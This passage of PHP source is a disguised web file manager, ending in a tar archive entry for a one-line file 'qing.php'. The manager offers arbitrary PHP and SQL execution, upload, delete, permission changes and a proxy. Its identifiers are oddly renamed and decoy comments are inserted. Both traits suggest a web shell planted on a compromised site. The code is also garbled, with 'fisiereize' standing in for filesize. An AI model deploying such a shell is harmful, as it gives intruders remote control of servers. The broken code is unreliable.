'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_sekorm .= __('Error occurred').': '.__('no fisiere'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_sekorm .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_sekorm .= __('Error occurred').': '.__('no fisiere'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_sekorm .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_sekorm .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_sekorm .= __('Error occurred').': '.__('no fisiere'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_sekorm)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_sekorm?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($form_confoy['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($form_confoy['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($form_confoy['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth_motti['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth_motti['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $fisiere = array(); foreach ($elements as $file_usooo){ if(@is_dir($path . $file_usooo)){ $dirs[] = $file_usooo; } else { $fisiere[] = $file_usooo; } } natsort($dirs); natsort($fisiere); $elements = array_merge($dirs, $fisiere); foreach ($elements as $file_usooo){ $filename = $path . $file_usooo; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($form_confoy['show_dir_size'])&&!fm_root($file_usooo)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file_usooo.'" title="'.__('Show').' '.$file_usooo.'"><span class="folder"> </span> '.$file_usooo.'</a>'; $loadlink= (fm_root($file_usooo)||$pho_core) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file_usooo); $arlink = (fm_root($file_usooo)||$pho_core) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file_usooo); $style = 'row2'; if (!fm_root($file_usooo)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file_usooo. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file_usooo . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $form_confoy['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file_usooo.'</a>' : '<a href="' . $url_inc . '&edit=' . $file_usooo . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file_usooo.'</a>'; $e_arr = explode(".", $file_usooo); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file_usooo); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file_usooo)||$pho_core) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file_usooo)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file_usooo. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file_usooo . '&path=' . $path . '\'"'; } $deletelink = fm_root($file_usooo) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file_usooo . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file_usooo) ? '' : '<a href="' . $url_inc . '&rename=' . $file_usooo . '&path=' . $path . '" title="' . __('Rename') .' '. $file_usooo . '">' . __('Rename') . '</a>'; $rightstext = ($file_usooo=='.' || $file_usooo=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file_usooo . '&path=' . $path . '" title="' . __('Rights') .' '. $file_usooo . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $startkorn; echo fm_home().' | ver. '.$ford_sold.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($form_confoy['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($form_confoy['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($form_confoy['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($form_confoy['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($form_confoy['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($form_confoy['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($form_confoy['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $nume_arhiva = ''; var $fisier_temporar = 0; var $pozitie_fisier = 0; var $este_gzipped = true; var $erori = array(); var $fisiere = array(); function __construct(){ if (!isset($this->erori)) $this->erori = array(); } function creeaza_arhiva($file_list){ $result = false; if (file_exists($this->nume_arhiva) && is_file($this->nume_arhiva)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->deschide_scriere()) return false; } else { if (fisiereize($this->nume_arhiva) == 0) return $this->deschide_scriere(); if ($this->este_gzipped) { $this->inchide_fisier_temporar(); if (!rename($this->nume_arhiva, $this->nume_arhiva.'.tmp')){ $this->erori[] = __('Cannot rename').' '.$this->nume_arhiva.__(' to ').$this->nume_arhiva.'.tmp'; return false; } $tmpArchive = gzopen($this->nume_arhiva.'.tmp', 'rb'); if (!$tmpArchive){ $this->erori[] = $this->nume_arhiva.'.tmp '.__('is not readable'); rename($this->nume_arhiva.'.tmp', $this->nume_arhiva); return false; } if (!$this->deschide_scriere()){ rename($this->nume_arhiva.'.tmp', $this->nume_arhiva); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->scrie_bloc($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->nume_arhiva.'.tmp'); } else { $this->fisier_temporar = fopen($this->nume_arhiva, 'r+b'); if (!$this->fisier_temporar) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->impacheteaza_fisiere($file_list); } else $this->erori[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->fisier_temporar))){ $binaryData = pack('a512', ''); $this->scrie_bloc($binaryData); } $this->inchide_fisier_temporar(); if ($newArchive && !$result){ $this->inchide_fisier_temporar(); unlink($this->nume_arhiva); } return $result; } function restaureaza_arhiva($path){ $fileName = $this->nume_arhiva; if (!$this->este_gzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->este_gzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->este_gzipped = true; } $result = true; if ($this->este_gzipped) $this->fisier_temporar = gzopen($fileName, 'rb'); else $this->fisier_temporar = fopen($fileName, 'rb'); if (!$this->fisier_temporar){ $this->erori[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unimpacheteaza_fisiere($path); $this->inchide_fisier_temporar(); return $result; } function afiseaza_erori ($message = '') { $Errors = $this->erori; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function impacheteaza_fisiere($file_array){ $result = true; if (!$this->fisier_temporar){ $this->erori[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->nume_arhiva) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->erori[] = __('No file').' '.$filename; continue; } if (!$this->fisier_temporar){ $this->erori[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->erori[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->creeaza_cale_buna($filename); if (is_file($filename)){ if (($file_usooo = fopen($filename, 'rb')) == 0){ $this->erori[] = __('Mode ').__('is incorrect'); } if(($this->pozitie_fisier == 0)){ if(!$this->scrie_antet($filename, $keep_filename)) return false; } while (($buffer = fread($file_usooo, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->scrie_bloc($binaryData); } fclose($file_usooo); } else $this->scrie_antet($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->erori[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->impacheteaza_fisiere($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unimpacheteaza_fisiere($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->citeste_bloc()) != 0){ if (!$this->citeste_antet($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->citeste_bloc(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->citeste_bloc(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->citeste_bloc(); if (!$this->citeste_antet($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->erori[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->erori[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->erori[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->erori[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->erori[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->erori[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->citeste_bloc(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->citeste_bloc(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (fisiereize($header['filename']) != $header['size']) { $this->erori[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->fisiere[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->erori[] = __('Cannot create directory').' '.$dir; return false; } return true; } function citeste_antet($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $suma_control = 0; for ($i = 0; $i < 148; $i++) $suma_control+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $suma_control += ord(' '); for ($i = 156; $i < 512; $i++) $suma_control+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8id_utilizator/a8group_id/a12size/a12time/a8suma_control/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['suma_control'] = OctDec(trim($unpack_data['suma_control'])); if ($header['suma_control'] != $suma_control){ $header['filename'] = ''; if (($suma_control == 256) && ($header['suma_control'] == 0)) return true; $this->erori[] = __('Error suma_control for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['id_utilizator'] = OctDec(trim($unpack_data['id_utilizator'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function scrie_antet($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->creeaza_cale_buna($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Download failed ensure the network connection is stable $suma_control = 0; // First part of the header for ($i = 0; $i < 148; $i++) $suma_control += ord(substr($dataFirst, $i, 1)); // Ignore the suma_control value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $suma_control += ord(' '); // File permissions updated successfully access rights are now correct for ($i = 156, $j=0; $i < 512; $i++, $j++) $suma_control += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->scrie_bloc($dataFirst, 148); // Write the calculated suma_control $suma_control = sprintf('%6s ', DecOct($suma_control)); $binaryData = pack('a8', $suma_control); $this->scrie_bloc($binaryData, 8); // Failed to update file permissions please check the user rights $this->scrie_bloc($dataLast, 356); $fisier_temporarname = $this->creeaza_cale_buna($filename_ready); $i = 0; while (($buffer = substr($fisier_temporarname, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->scrie_bloc($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(fisiereize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $suma_control = 0; for ($i = 0; $i < 148; $i++) $suma_control += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $suma_control += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $suma_control += ord(substr($dataLast, $j, 1)); $this->scrie_bloc($dataFirst, 148); $suma_control = sprintf('%6s ', DecOct($suma_control)); $binaryData = pack('a8', $suma_control); $this->scrie_bloc($binaryData, 8); $this->scrie_bloc($dataLast, 356); // File is being extracted please wait return true; } function deschide_scriere(){ if ($this->este_gzipped) $this->fisier_temporar = gzopen($this->nume_arhiva, 'wb9f'); else $this->fisier_temporar = fopen($this->nume_arhiva, 'wb'); if (!($this->fisier_temporar)){ $this->erori[] = __('Cannot write to file').' '.$this->nume_arhiva; return false; } return true; } function citeste_bloc(){ if (is_resource($this->fisier_temporar)){ if ($this->este_gzipped) $block = gzread($this->fisier_temporar, 512); else $block = fread($this->fisier_temporar, 512); } else $block = ''; return $block; } function scrie_bloc($data, $length = 0){ if (is_resource($this->fisier_temporar)){ if ($length === 0){ if ($this->este_gzipped) gzputs($this->fisier_temporar, $data); else fputs($this->fisier_temporar, $data); } else { if ($this->este_gzipped) gzputs($this->fisier_temporar, $data, $length); else fputs($this->fisier_temporar, $data, $length); } } } function inchide_fisier_temporar(){ if (is_resource($this->fisier_temporar)){ if ($this->este_gzipped) gzclose($this->fisier_temporar); else fclose($this->fisier_temporar); $this->fisier_temporar = 0; } } function creeaza_cale_buna($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> mz3wo1/qing.php 0000644 00000000034 15136723772 0007365 0 ustar 00 <?php opcache_reset(); ?>